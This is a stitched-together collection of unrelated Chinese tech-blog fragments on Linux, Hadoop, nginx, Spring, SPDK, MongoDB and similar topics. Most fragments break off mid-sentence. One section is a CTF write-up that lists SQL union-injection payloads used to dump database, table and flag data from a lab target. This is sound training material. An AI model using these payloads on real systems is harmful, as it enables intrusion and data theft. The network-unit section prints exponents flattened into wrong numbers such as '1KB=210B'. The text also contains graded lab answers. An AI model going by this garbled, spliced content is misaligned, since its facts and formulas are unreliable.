[root@kehuji ~]# vim /etc/hosts
192.168.100.101 kehuji.xx.cn
192.168.100.100 zbx.xx.cn 二、两台linux系统都配置yum源-都是一样的步骤 1)配置yum源创建目录
[root@ zbx ~]# mkdir /mnt/dvd 2)挂载光盘
[root@ zbx ~]# mount /dev/cdrom /mnt/dvd/ 3)清空yum源
[root@ zbx ~]# rm -rf /etc/yum.repos.d/*.repo 4)部署yum源
[root@ zbx ~]# yum-config-manager --add file:///mnt/dvd 5)关闭签名
[root@ zbx ~]# vim /etc/yum.conf gpgcheck=0 6)检查yum配置情况
[root@ zbx ~]# yum repolist -v 三、两台linux安装LAMP环境 1、上传lamp包到/root下
链接: https://pan.
在 IntelliJ IDEA 中使用 Hadoop 前提 已经安装好Hadoop和IDEA jdk1.8
配置过程 打开 IDEA 开发环境,然后单击“File”菜单,选择“Settings”。
在弹出的对话框中,选择“Plugins”选项卡,在搜索框中输入“Hadoop”,找到并安装“Big Data Tools”插件。
安装完毕后,重启IDEA ,再次打开"Settings"。此时,在工具下方的看到一个新的选项卡“Big Data Tools”,单击它进入配置界面。
在配置页面中,添加Hadoop connection
Name可以自定义,url是默认的8088。
到这一步,需要打开cmd窗口,切换路径到hadoop-2.7.1\sbin文件下(这个需要找自己电脑安装Hadoop的路径),然后启动Hadoop集群start-dfs.cmd start-yarn.cmd
像这样即为启动Hadoop集群成功
点击“Test Connection”按钮测试连接是否成功。显示绿色的√ 就连接成功
配置完成后,点击“OK”保存设置即可开始在IDEA中使用Hadoop。
前言 最近《流浪地球》比较火,想找资源下载看看,无奈只找到了网址 http://m.tlyy.tv/【现已变成不良网站】 ,但是我的chrome插件也嗅探不到网页上的视频。。于是乎,右击页面,inspect 走起…
步骤 首先发现
m3u8文件映入眼帘 /偷笑,m3u8文件是什么文件呢,copy address and wget 下来看看:
文件 playlist.m3u8 内容如下,可见网页里的视频是根据这个 playlist 组织的 ts 流一段一段组成视频播放的。
#EXTM3U #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:0 #EXT-X-ALLOW-CACHE:YES #EXT-X-TARGETDURATION:14 #EXTINF:5.966667, out000.ts #EXTINF:4.300000, out001.ts #EXTINF:5.166667, out002.ts #EXTINF:5.700000, out003.ts #EXTINF:4.433333, out004.ts #EXTINF:5.166667, out005.ts #EXTINF:4.833333, out006.ts #EXTINF:5.500000, out007.ts #EXTINF:4.900000, out008.ts ....... #EXTINF:5.733333, out1444.ts #EXTINF:0.266667, out1445.ts #EXT-X-ENDLIST 而且ts流命名规范有规律,易下载,一开始打算来个shell脚本用 wget 解决
#!/bin/bash str="out" for i in `seq 0 1000` do a=$((1000+$i)) str1=$str${a:1:3}\.ts # 生成 string "out000.ts"~"out999.ts" echo $str1 wget https\:\/\/doubanzyv4\.
Ubuntu 22.04.2 LTS
链接:https://pan.baidu.com/s/1YuWSOBH9mTZMjJTW7HM91g 提取码:b8lf
1.nginx的核心功能 1.1反向代理 反向代理:
反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。
正向代理:
是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端才能使用正向代理。
正向代理和反向代理区别? 正向代理,是在客户端的。比如需要访问某些国外网站,我们可能需要购买vpn。并且vpn是在我们的用户浏览器端设置的(并不是在远端的服务器设置)。浏览器先访问vpn地址,vpn地址转发请求,并最后将请求结果原路返回来。
反向代理是作用在服务器端的,是一个虚拟ip(VIP)。对于用户的一个请求,会转发到多个后端处理器中的一台来处理该具体请求。
1.1.1nginx如何实现反向代理 准备: (1)springboot项目--部署运行起来,在任意目录下拉入jar包并在当前目录下运行jar包
java -jar jar包名称
注:(1)安装jdk (2)连接的数据所在的服务器必须允许远程访问(3)linux中必须关闭防火墙
修改nginx的配置文件--代理springboot服务器
注:更改nginx配置文件需要重启nginx
/usr/nginx/sbin/nginx -s reload
请求资源:
1.2负载均衡 负载均衡就是一种计算机网络技术,用来在多个计算机(计算机集群)、网络连接、CPU、磁碟驱动器或其他资源中分配负载,以达到最佳化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的。
常见负载均衡算法 轮询(Round Robin) 请求到达后,将客户端发送到负载均衡器的请求依次轮流地转发给服务集群的某个节点。
优点:实现简单,每个集群节点平均分担所有的请求。
缺点:当集群中服务器硬件配置不同、性能差别大时,无法区别对待。引出下面的算法。
随机(Random) 随机选取集群中的某个节点来处理该请求,由概率论的知识可知,随着请求量的变大,随机算法会逐渐演变为轮询算法,即集群各个节点会处理差不多数量的请求。
优点:简单使用,不需要额外的配置和算法。
缺点:随机数的特点是在数据量大到一定量时才能保证均衡,所以如果请求量有限的话,可能会达不到均衡负载的要求。
加权 加权算法主要是根据集群的节点对应机器的性能的差异,给每个节点设置一个权重值,其中性能好的机器节点设置一个较大的权重值,而性能差的机器节点则设置一个较小的权重值。权重大的节点能够被更多的选中。它是和随机、轮训一起使用的。
优点:可以根据机器的具体情况,分配不同的负载,达到能者多劳。
缺点:需要额外管理加权系数。
最小连接数 主要是根据集群的每个节点的当前连接数来决定将请求转发给哪个节点,即每次都将请求转发给当前存在最少并发连接的节点。
优点:可以根据集群节点的负载情况来进行请求的动态分发,即机器性能好,处理请求快,积压请求少的节点分配更多的请求。避免某个节点因为处理超过自身所能承受的请求量而导致宕机或者响应过慢。
hash 将对请求的IP地址或者URL计算一个哈希值,然后与集群节点的数量进行取模来决定将请求分发给哪个集群节点。它不是真正意义上的负载均衡,在某些意义上也是一个单点服务。
优点:实现简单
缺点:如果某个节点挂了,会使得一部分流量不可用。
1.2.1轮询 配置代理服务器的nginx.conf
注:更改nginx配置文件需要重启nginx
分别在IP为200的虚拟机开启端口号为8080的jar包和在IP为201的虚拟机开启端口号为8081的jar包。
在浏览器访问代理服务器监听地址,多次刷新,查看返回文本有什么规律
此处以IP地址为201的虚拟机暂时作为代理服务器使用,所以使用的IP地址为201
刷新一次
两个运行的真实服务器组成了服务器集群,使同一个IP地址却有不同的返回文本,访问了不同的端口。两个端口号循环交替访问,这就是轮询。
1.2.2权重 更改代理服务器的nginx.conf文件
权重策略:值越大,权重越高,被访问的频率越高
在浏览器访问代理服务器监听地址,多次刷新,查看返回文本有什么规律
经过多次刷新实验,发现端口号8080每被访问两次,端口号8081才会被访问一次,与我们设置的权重相符。
1.3动静结合 把静态资源和动态资源分离开。静态资源交于nginx服务器统一处理,而动态资源交给tomcat服务器处理。---适合前后端不分离的情况,降低修改和维护成本。
用户通过访问代理服务器的IP地址访问到真实服务器1和2,真实服务器加载动态资源后回到代理服务器访问被统一存放的静态资源,再展现给用户。
1.3.1配置nginx.conf
更改了nginx的配置文件别忘了重启nginx
在nginx目录下创建static目录,将需要的静态资源拉到static目录下
访问代理服务器的监听地址
css和jpg静态资源被加载 2nginx的高可用 2.
使用pnpm安装依赖包时报错:EPERM: operation not permitted 解决方案: 设置了pnpm-store 后问题解决
pnpm config set store-dir /home/root/.pnpm-store
画面模糊问题的源头也是来自用户的微距体验不佳,我们对问题深入分析,适当拆解。通过 Apple Development Doc 的查阅及实践,一步步抽丝剥茧,最终完美解决用户的体验痛点,也为我们自身沉淀了展示微距的能力。
前言
在最近两年苹果发布的 iPhone13 Pro Max 和 iPhone14 Pro Max 系列的手机上,如果使用三方主流 app 进行近距离对焦,会产生画面模糊的问题。拍立淘是手机淘宝相机能力的主阵地之一,用户会进行近距离拍照识别商品,或者近距离扫物流单二维码、吊牌条码、药品码等行为,类似手机系统相机的微距能力没有释放出来,会影响用户的使用体验。基于上述背景,为了优化用户体验,拍立淘 iOS 端开发团队进行了摄像头切换(微距)问题的分析和解决。
本文从原理开始分析,通过层层拆解,把「微距实现」这个命题划分成为三个主要的解决目标:变焦系数、光照水平、焦点位置的确定。并围绕链路实现、性能、适配三个层面进行可行性验证,完成微距能力的落地。
下图:图1-4为部分 app 镜头页在 iPhone13 Pro Max 的近距离对焦表现,图5为应用了微距能力的拍立淘。
背景知识
▐ 成像原理 焦距 焦距:焦距是从镜头的中心点到传感器平面上所形成的清晰影像之间的距离。镜头的焦距决定了该镜头拍摄的物体在传感器上所形成影像的大小。焦距的本质是“视角”,焦距越短,视角越大;焦距越长,视角越窄。焦距是以“mm”为单位。如下图所示是常见的焦距和可视范围。
为什么在我们对准某个物体的时候,有时候会出现画面的模糊,需要手动或自动对焦解决?这就要说到对焦。
对焦:当焦平面落在成像面(感光sensor)上时,图像是最清晰的。如果成像面在焦深范围之外,图像是模糊的。所以有时候为了获取清晰的成像,需要调焦。手动调焦(MF)或者是自动调焦(AF)。
自动调焦有多种方法:测距离法、反差检测法、PDAF相位检测法等等,苹果的Focus Pixels其实就是相位差对焦技术。
变焦 光学变焦:依靠光学镜头结构来实现变焦。通过镜片移动(焦距发生变化),来放大与缩小需要拍摄的景物,光学变焦倍数越大,能拍摄的景物就越远。光学变焦在单反相机比较常见。在手机相机中,主要是通过切换镜头来实现光学变焦的效果。
数码变焦:纯粹对一张数码照片进行放大操作,比如说,把一张10×10像素大小到图片改成15×15像素,看起来画面就大了,但这种操作是纯粹数码层面的,没有任何光学镜片介入。
下图为iPhone 14 Pro Max具有的光学变焦和数码变焦能力。即当我们使用系统相机进行0.5~3倍焦距调节时候,是光学变焦,从3-15倍焦距调节的时候,是数码变焦。
多摄像头 为了在手机上实现更为强大的影像效果,手机厂商走出了多摄像头组合的路线,通过在手机上集成多个不同特性的摄像头,来在手机上实现出多样化的拍摄效果,用户在拍摄界面操作变焦时不同的影像焦段交给对应的摄像头处理,焦段过渡时利用数码+光学变焦结合进行补间,通过这种方式在手机上实现了的长焦+短焦,同时再配置一些广角、大光圈、景深与色彩等特种镜头,让丰富的摄像头组合支撑出强大的多样化的手机拍摄能力。
下图为iPhone 14 Pro Max具有的多摄像头:主摄+超广角+长焦。
▐ 苹果相机 iPhone成像系统概览 iPhone在主摄的基础上,在设备迭代中相继加入了多摄:包括长焦镜头与超广角镜头。
其中,有如下几个重要的技术更新点:
2014年,iPhone 6 Plus摄像头首次加入镜头光学防抖;
2016年,iPhone 7 Plus首次采用双摄方案(加入长焦镜头);
2019年,iPhone 11 Pro首次采用三摄方案(加入超广角镜头);
具体图表如下(图引):
无法对焦的的主要原因 从 iPhone 12 Pro 系列开始,后置主摄传感器增大了许多(1.
系统:Ubuntu20.04
显卡:GeForce TITAN X
环境安装命令:
conda create -n bevfusion python=3.8 -y conda activate bevfusion pip install torch==1.9.1+cu111 torchvision==0.10.1+cu111 torchaudio==0.9.1 -f https://download.pytorch.org/whl/torch_stable.html // 首先安装pytorch,服务器CUDA为11.2,因此向下兼容选择11.1的1.9.1的版本 pip install mmcv-full==1.4.0 -f https://download.openmmlab.com/mmcv/dist/cu111/torch1.9/index.html // 其次安装mmcv-full,按照官方文档,后面需要选择对应的cuda和torch版本,否则后续会报错,另外,一开始我torch处输入的1.9.1,亲测虽然可以安装,但后续训练会报错,按照官方文档标准格式改为1.9,解决 pip install mmdet==2.20.0 pip install tqdm pip install torchpack pip install nuscenes-devkit pip install mpi4py pip install ninja pip install numba // 顺次安装各种包 vim ~/.bashrc 在安装openmpi之前,需要修改环境变量,在末尾添加OMPI_MCA_opal_cuda_support=true conda install openmpi // 使用conda安装openmpi 在执行setup之前,需要在setup第25行添加本机显卡对应的算力设置,否则CUDA算力在编译的时候没有匹配 本服务器为Ge TITAN X 对应算力为52 添加"-gencode=arch=compute_52,code=sm_52", python setup.py develop // 最后安装mmdet3d,编译通过 至此完成环境的配置,按照官方提供指令执行:
Pytest和Unittest测试框架的区别? 如何区分这两者,很简单unittest作为官方的测试框架,在测试方面更加基础,并且可以再次基础上进行二次开发,同时在用法上格式会更加复杂;而pytest框架作为第三方框架,方便的地方就在于使用更加灵活,并且能够对原有unittest风格的测试用例有很好的兼容性,同时在扩展上更加丰富,可通过扩展的插件增加使用的场景,比如一些并发测试等;
Pytest 安装 pip安装:
pip install pytest 复制代码 测试安装成功:
pytest --help py.test --help 复制代码 检查安装版本:
pytest --version 复制代码 Pytest 示例 Pytest编写规则:
测试文件以test_开头(以_test为结尾)测试的类以Test开头;测试的方法以test_开头断言使用基本的assert test_example.py
def count_num(a: list) -> int: return len(a) def test_count(): assert count_num([1, 2, 3]) != 3 复制代码 执行测试:
pytest test_example.py 复制代码 执行结果:
C:\Users\libuliduobuqiuqiu\Desktop\GitProjects\PythonDemo\pytest>pytest test_example.py -v ================================================================= test session starts ================================================================= platform win32 -- Python 3.6.8, pytest-6.2.5, py-1.10.0, pluggy-1.0.0 -- d:\coding\python3.6\python.exe cachedir: .pytest_cache rootdir: C:\Users\libuliduobuqiuqiu\Desktop\GitProjects\PythonDemo\pytest plugins: Faker-8.11.0 collected 1 item test_example.
目录 一.i春秋
二.手工注入
三.sqlmap注入
1.sqlmap注入---文件.txt
2.sqlmap--参数
附:sql注入命令
一.i春秋 靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。
打开是一个登录注册页面:
点击登录:url看着也没有sql注入
随意输入邮箱和密码:
并用bp抓包
回显用户名或者密码错误:
考虑到要找welcome.php,应该是一个登录进去的页面,爆破登录太慢,有随机性。
就从注册页面入手吧:
进入注册页面:
用户密码随意输入就可:
登录我们刚刚注册的用户:
成功登录,进入welcome.php页面: q=2 q=3
当q=4时:是没有页面的
经过简单的测试,发现home下的start可以跳转:
查看一下url:
发现submit每点击一次,url的n的值就会加1:
测试url的 n=2' 发现有sql注入:
二.手工注入 测试注入点:
n=2' union select 1,2,3,4,5--+
http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34 查询当前数据库名称:
n=2' union select 1,2,database(),4,5--+
查询数据库位置:
n=2' union select 1,2,@@datadir,4,5--+
查询数据库表
2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+
查看flag表中的字段:
2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+
查询字段flag
2' union select 1,2,group_concat(flag),4,5 from flag--+
1.注入属性是都有哪些注解? ①@Autowired:最常用的注解,注入的是引用类型,根据byType自动注入,如果想要byName,可以搭配@Qualifier注解使用
②@Value:注入八大基本数据类型和String
③@Resource:相当于@Autowired根据,默认是根据byName自动注入(要求JDK1.6)
④@Reference:dubbo独有的注解
2.@RequestMapping和@RequestParam的区别 @RequestMapping是修饰方法或者类的,@RequestParam是修饰属性的
3.后台如何接受前端返回的JSON数据 如果是表单提交的话,可以通过request.getParameter()获取;其他的可以在后台的方法上加上@ResponseBody注解
spring没有内置转json的类,需要依赖三方jar包--jackson
4.什么是Spring?核心内容有什么? Spring是个生态,是分层的javaee的一站式开源框架。
Spring的两大核心内容是IOC和AOP。
IOC是控制反转,创建和管理对象的事交给Spring容器来做,底层采用的是反射+工厂模式;默认是单例的,只创建一个bean实例,如果想要多例可以通过scope指定,IOC中有一个名词叫做DI(依赖注入),是为属性赋值的,DI有三种注入方式:构造器注入、setter注入、接口注入
AOP是面向切面编程,将业务逻辑代码与非业务逻辑代码(比如:日志、事务)分离,底层用的是动态代理模式,实现了代码复用,增强了代码可读性,主要应用有:日志输出、事务管理、权限拦截、性能检测
5.介绍一下SpringMVC springMVC是spring下的表现层子框架,springMVC有一个核心控制器,所有的请求都会先发送到核心控制器这里,核心控制器在Tomcat启动时会创建并执行init函数,init函数会读被@Controller标注的类,将由@RequestMapping标注的方法的映射关系存放到HandlerMapping(处理器映射器)中,键放地址,值放方法,当前端发送来请求时,会由核心控制器发送到处理器映射器,通过地址执行相应的方法,并将结果返回给核心控制器做处理后,返回给用户。
6.过滤器(filter)与拦截器(Interceptor)的区别 过滤器是基于servlet的,在web.xml里配置;拦截器是基于框架的,在mvc.xml里配置过滤器底层是回调函数;拦截器底层是反射机制过滤器对所有请求过滤;拦截器对controller请求过滤过滤器只被调用一次,拦截器被多次调用 7.@Value和@ConfigurationProperties的区别 @ConfigurationProperties写在类上,其他的信息写在配置文件中;@Value写在属性上@ConfigurationProperties可以批量注入,传入的值是对象;@Value是一个一个注入,传入具体的属性@ConfigurationProperties支持松散绑定,对名字的要求没有那么严格(firstName first_name);@Value不支持松散绑定@ConfigurationProperties不支持spel;@Valuespel;@Value支持spel@ConfigurationProperties支持JSR303校验;@Valuespel;@Value不支持JSR303校验 8.SpringBoot与SpringCloud的区别 springboot相当于单个微服务,springcloud是将一个个单个微服务整合起来springboot可以离开springcloud单独开发,springcloud离不开springboot,依赖关系springboot专注开发单个个体微服务,springcloud关注全局服务治理框架 9.Spring的常用注解 @AutoWried@Controller@Service@Configuration@Component@RequestMapping@ResponseBody 10.Spring Bean生命周期 读取配置---定义bean---实例化bean---对象赋值---初始化---销毁
11.Spring的循环依赖 spring循环依赖是指2个以上对象相互拥有彼此,形成闭环。
spring是通过三级缓存来解决这个问题的。一级缓存存放初始化好的对象,二级缓存存放属性未填充的对象,三级缓存存放bean工厂。
12.Dubbo与SpringCloud的区别? springCloud采用rest方式;dubbo采用RPC方式springCloud的注册中心是eureka;dubbo的是zookeeperspringCloud侧重于微服务一站式解决方案;dubbo的定位是一款RPC框架 13.Spring Cloud有哪些组件? 服务注册与发现 eureka负载均衡 ribbon网关 zuul断路器 hystrix安全 security远程调用 feign 14.什么是服务熔断?什么是服务降级? 服务熔断是A服务调用B服务发现调用不通,就不在让A服务发起调用,避免“雪崩效应”
服务降级是A服务调用B服务,调用失败后访问callback中的降级方法
15.微服务的优缺点,在项目中踩过的坑 优点:
服务内聚,一个服务干一件事易于与第三方集成低耦合开发效率高 缺点:
运维难度增大服务间通信成本高 16.eureka和zookeeper都是注册中心,区别是什么? zookeeper保证的是CP;eureka保证的是APzookeeper的master节点宕机时,其他节点会重新选举leader,在选举期间整个zk不可用。eureka在一个节点挂掉后,会随机选取另一个节点,不过不能保证数据时效性。eureka有自我保护机制 17.springboot启动原理(自动配置) 初始化一个SpringApplication对象,执行对象的run方法。
@SpringBootApplication 相当于@Configuration @EnableAutoConfiguration @ComponentScan
三个注解的总和。
在使用springboot时,会依赖autoconfigure包。这个包里有一个spring.factories文件,该文件定义很多入口的配置类,在springboot启动时内部会加载这个文件,进而加载有需要的配置类。
18.spring是如何管理事物的? 在数据库连接池中获取一个连接设置为手动提交 PlatformTransactionManager是事物管理器接口,里边有获取事物信息、提交、回滚事物的三个方法。常见的事务管理器都实现了这个接口。
事物分为编程式事物和声明式事物
@Transactional注解的实现原理是spring容器会为加入这个注解的对象,生成一个代理对象,实际调用的是代理对象,代理对象实现了AOP的增强 19.Spring事物失效的几种情况 new出来的对象,使用事物不生效,因为只有spring定义的bean才接受事物。非public方法事物失效,因为AOP的特性。不支持事物的数据库引擎,会导致事物失效当前类的内部方法调用,比如a方法加了事物,b方法没有,在b方法中调用a,事物失效。
SPDK SPDK软件架构SSD和SPDK中controller和nsSPDK RPC (一)driverSPDK virtio-PCIe 和 vhost-user (二)Storage Services(存储设备)对象存储SPDK BlobStore&BlobFS SPDK 块设备驱动块设备驱动层的其他模块 (三)存储协议(Storage Protocols)SPDK中的Target1、vhost-nvme target & vhost-blk target2、Linux nbd 和 NVMeoF Target SPDK软件架构 SSD和SPDK中controller和ns 在 NVMe SSD 中,一个 Controller 和多个 Namespace 的概念与 SPDK 中的 Controller 和 Namespace 概念基本相同,但是在细节上有一些区别。
Namespace 的定义:在 NVMe SSD 中,Namespace 是一个虚拟的存储设备,由控制器(Controller)和对应的命名空间标识符(Namespace Identifier)组成。而在 SPDK 中,Namespace 也是一个虚拟的存储设备,但是它只由命名空间标识符(Namespace Identifier)表示,没有控制器的概念。
命名空间的数量:在 NVMe SSD 中,一个控制器(Controller)可以管理多个 Namespace。而在 SPDK 中,每个 Namespace 都是独立的,不会被分配到多个控制器中,每个命名空间只会被一个控制器管理。
接口实现:NVMe SSD 是一种硬件设备,因此其控制器(Controller)和命名空间(Namespace)都是由硬件实现的。而 SPDK 是一个软件库,其中的控制器(Controller)和命名空间(Namespace)都是由软件接口实现的,可以在任意支持 SPDK 的硬件平台上运行。
总之,在 NVMe SSD 和 SPDK 中,Controller 和 Namespace 这两个概念都是用来描述存储设备的逻辑组件,其中 Controller 负责管理 Namespace,并提供读写、擦除等操作。但是两者在实现方式和功能方面有所不同,需要根据具体的应用场景进行选择。
报错信息如下 Collecting package metadata (current_repodata.json): failed ProxyError: Conda cannot proceed due to an error in your proxy configuration. Check for typos and other configuration errors in any '.netrc' file in your home directory, any environment variables ending in '_PROXY', and any other system-wide proxy configuration settings. 解决方案如下 创建Conda 配置文件
conda config 然后在C:\Users[用户名]文件夹下找到.condar文件,修改文件内容如下:
channels: - defaults # Show channel URLs when displaying what is going to be downloaded and # in 'conda list'.
文章目录 1 前言2 拉取nacos配置失败2.1 可能是端口号问题2.2 可能存在jar冲突2.3 可能nacos配置不对 1 前言 为了各组件更好的的兼容,最近系统进行了nacos升级, 由1.4.2升级为2.1.1,这里把遇到的一些坑做一下记录。
2 拉取nacos配置失败 在升级后,有的微服务,无论怎么启动,都拉取不到nacos 配置信息
2.1 可能是端口号问题 当nacos客户端升级为2.1.1版本后,新增了gRPC的通信方式,增加了两个偏移量端口9848,9849,在原端口8848基础上面偏移量1000和1001。
端口说明原端口: 8848服务使用偏移量端口1:9848客户端gRPC请求服务端端口,用于客户端向服务端发起连接和请求偏移量端口2:9849服务端gRPC请求服务端端口,用于服务间同步等 注:如果开启了防火墙或者使用了容器化部署,需要在阿里云等服务器,容器等,开通相应服务端口: 8848、9848、9849
2.2 可能存在jar冲突 如果排除冲突还是起不来,只能跟踪错误原因,查看源码了。笔者百度了一些issue,没能解决问题,只能跟踪源码
查看源码发现,确实是拉取配置时出问题了:
com.alibaba.nacos.client.config.impl.ClientWorker,第778行queryConfig方法,拿不到nacos配置的response
跟踪源码发现,com.alibaba.nacos.common.remote.client.RpcClient,第468行,这里就是执行不到,发现是currentConnection为空
然后发现,重试了3次都是拉去失败
最后发现,是createNewChannelStub方法,执行有问题,手动可以进入源码,但是debug执行进不去,发现是jar冲突导致,有2个RequestGrpc。原因是,有个小伙伴继承了base脚手架,里面有维护nacos依赖,然后项目又额外引入了依赖:
导致项目有两个RequestGrpc
com.alibaba.nacos.api.grpc.auto.RequestGrpc
导致无法选择唯一的bean去执行,导致连接nacos服务异常,导致currentConnection为空,导致nacos配置拉取失败。最后把nacos-api依赖排除,问题得到了解决。
这两个依赖里面,RequestGrpc类有冲突,nacos config拉去不到,本地没有配置信息(mac命令:cd ~/nacos/config/)
2.3 可能nacos配置不对 检查下ip,端口,以及namespace,前缀prefix、file-extension等等
写博客是为了记住自己容易忘记的东西,另外也是对自己工作的总结,希望尽自己的努力,做到更好,大家一起努力进步!
如果有什么问题,欢迎大家一起探讨,代码如有问题,欢迎各位大神指正!
给自己的梦想添加一双翅膀,让它可以在天空中自由自在的飞翔!
关于网络带宽单位的转换 在写《计算机网络-自顶向下方法》这本书上的习题的时候经常会碰到各种关于传输速率,内存容量,数据报字节等方面与单位转换有关的问题,容易混淆。
数据单位/数据量单位 字节:Byte,简写为B(1Byte=8比特=23bit)
转换关系:
1KB=210B=1024B
1MB=220B=1024×1024B
1GB=230B=1024×1024×1024B
速率单位(速率/数据率/比特率) bps:bps即bit/s,也叫“比特率”,指单位时间内传输的比特位数,每秒钟传输多少个比特,是数据传输速率的常用单位。
转换关系:
Kbps=Kb/s=103 b/s
Mbps=Mb/s=106 b/s
Gbps=Gb/s=109b/s
KB/s=103Byte/s=103B/s=23×103bit/s
MB/s=106Byte/s=106B/s=23×106bit/s
GB/s=109Byte/s=109B/s=23×109bit/s
Gbps=103Mbps=106Kbps=109bps
GB/s=103MB/s=106KB/s=109B/s
字节/秒与比特/秒的转换 1B/s=23b/s=8b/s=8bps
1KB/s=23Kb/s=8Kb/s=8Kbps
1MB/s=23Mb/s=8Mb/s=8Mbps
1GB/s=23Gb/s=8Gb/s=8Gbps
补充 小写的b表示比特bit,大写的B表示Byte,注意区分;速率单位中的Kbps、Mbps、Gbps等首字母应该大写,剩余的bps为小写;单位Mbps(Mb/s)和MB/s是不一样的,前者是兆比特每秒,即每秒传输的位数量/比特量,后者是兆字节每秒,即每秒传输的字节数量。例1:15GB=15×210×210×210B=15×210×210×210×8 bit例2:1Mbps=106bit/s=(106÷8)Byte/s=125000Byte/s=1.25×105B/s=(125000÷1000)KB/s=(125000÷1000÷1000)MB/s=0.125MB/s要注意,无论是对于以比特时间为单位传输,还是字节为单位传输,同类传输速率之间的进制是103,例如1MB/s=1000KB/s,1Gbps=1000Mbps,而字节时间与比特时间的同级单位的进制是23,例如1MB/s=8Mbps。
第1关 数据库创建 任务描述 本关任务:创建数据库。
相关知识 本关评测是在 Linux 环境下进行的, MongoDB 的安装与配置测评系统均已默认完成。
为了完成本关任务,你需要掌握:
1. 如何连接数据库;2. 如何创建数据库。 代码如下 mongo use mydb db.mydb.insert({_id:1,name:"李小红"}) 第2关 创建集合 任务描述 本关任务:在数据库中创建一个集合。
相关知识 MongoDB 数据库中的集合相当于 MySQL 数据库中的表。
为了完成本关任务,你需要掌握:
1. 如何在指定的数据库创建集合;2. 查看集合;3. 删除集合。 代码如下 //命令行 mongo use Testdb2 db.t_stu.insert([{_id:1,name:"小明",sex: "男",hobbies: ["乒乓球","羽毛球"]},{_id:2,name:"小红",sex: "女",hobbies: ["画画","唱歌"]}]) 第3关 文档操作一 任务描述 本关任务:文档数据在 MongoDB 中的插入和更新。
相关知识 本章节中我们将向大家介绍文档数据在 MongoDB 中的基本操作。
文档的数据结构和 JSON 基本一样,所有存储在集合中的数据都是 BSON 格式。 BSON 是一种类 JSON 的一种二进制形式的存储格式,简称: Binary JSON 。
为了完成本关任务,你需要掌握:
1. 插入文档命令;2. 更新文档的两种方法。 代码如下 mongo use Testdb3 document=([{_id:1,name:"
第1关:HDFS的基本操作 任务描述 本关任务:使用 Hadoop 命令来操作分布式文件系统。
编程要求 在右侧命令行中启动 Hadoop ,进行如下操作。
在 HDFS 中创建 /usr/output/ 文件夹;在本地创建 hello.txt 文件并添加内容:“ HDFS 的块比磁盘的块大,其目的是为了最小化寻址开销。”;将 hello.txt 上传至 HDFS 的 /usr/output/ 目录下;删除 HDFS 的 /user/hadoop 目录;将 Hadoop 上的文件 hello.txt 从 HDFS 复制到本地 /usr/local 目录。 测试说明 平台会查看你本地的文件和 HDFS 的文件是否存在,如果存在,则会将其内容输出到控制台。
预期输出: HDFS的块比磁盘的块大,其目的是为了最小化寻址开销。 HDFS的块比磁盘的块大,其目的是为了最小化寻址开销。 代码如下 start-dfs.sh hadoop fs -mkdir /usr hadoop fs -mkdir /usr/output vim hello.txt hadoop fs -put hello.txt /usr/output hadoop fs -rm -r /user/hadoop hadoop fs -copyToLocal /usr/output/hello.txt /usr/local 第2关:HDFS-JAVA接口之读取文件 任务描述 本关任务:使用 HDFS 的 Java 接口进行文件的读写,文件 uri 地址为 hdfs://localhost:9000/user/hadoop/task.
命令行隐藏文件夹 最近有吴彦祖提到想把自己电脑上的学习资料隐藏起来,今天分享一个使用命令行隐藏文件夹的方法。
1. pre 例如,把下面的资料文件夹隐藏
目录:E:/AA__Test/资料
2 在当前文件夹搜索栏位置输入cmd, 并按回车键。
3 进入命令行界面
输入命令attrib 资料 +s +h,并回车。
此时刷新文件夹目录,资料文件夹已隐藏。即使在查看栏中把隐藏的项目打开也不会显示出来。
输入命令attrib 资料 -s -h,并回车,隐藏的文件夹即可显示出来。
4. 总结 隐藏命令:attrib 文件名 +s +h
显示命令:attrib 文件名 -s -h
Java execl导出
package com.ruoyi.common.utils.poi; import com.ruoyi.common.annotation.Excel; import com.ruoyi.common.annotation.Excels; import com.ruoyi.common.annotation.Excel.Type; import com.ruoyi.common.core.text.Convert; import com.ruoyi.common.utils.DateUtils; import org.apache.poi.hssf.usermodel.*; import org.apache.poi.hssf.util.HSSFColor; import org.apache.poi.ss.usermodel.*; import org.apache.poi.ss.util.CellRangeAddress; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Field; import java.util.*; import java.util.stream.Collectors; public class MyExeclUtil<T> { private static final Logger log = LoggerFactory.getLogger(ExcelUtil.class); /** * 工作薄对象 */ private HSSFWorkbook wb; /** * 工作表对象 */ private HSSFSheet sheet; /** * 工作表名称 */ private String sheetName; /** * 最大高度 */ private short maxHeight; /** * 样式列表 */ private Map<String, CellStyle> styles; /** * 导入导出数据列表 */ private List<T> list; /** * 注解列表 */ private List<Object[]> fields; /** * 导出类型(EXPORT:导出数据;IMPORT:导入模板) */ private Excel.
本期,给大家带来的是《剑指offer》几道题目的讲解。希望对大家有所帮助!!!
本文目录
(一)JZ36 二叉搜索树与双向链表
1、题意分析
2、思路讲解
3、代码演示
4、最终结果
(二)BM6 判断链表中是否有环
1、题意分析
2、思路讲解
3、代码演示
4、最终结果
(三)JZ23 链表中环的入口结点
1、题意分析
2、思路讲解
3、代码演示
4、最终结果
(四 )HJ43 迷宫问题
1、题意分析
2、思路讲解
3、代码演示
4、最终结果
(一)JZ36 二叉搜索树与双向链表(经典题目) 首先,我们第一题给大家讲述的是关于一道 二叉搜索树与双向链表 的问题。首先,拿到题我们还是先从题干入手,理解好题意才能更好进行解题操作。
题目如下:
输入描述:
二叉树的根节点
返回值描述:
双向链表的其中一个头节点。
示例1
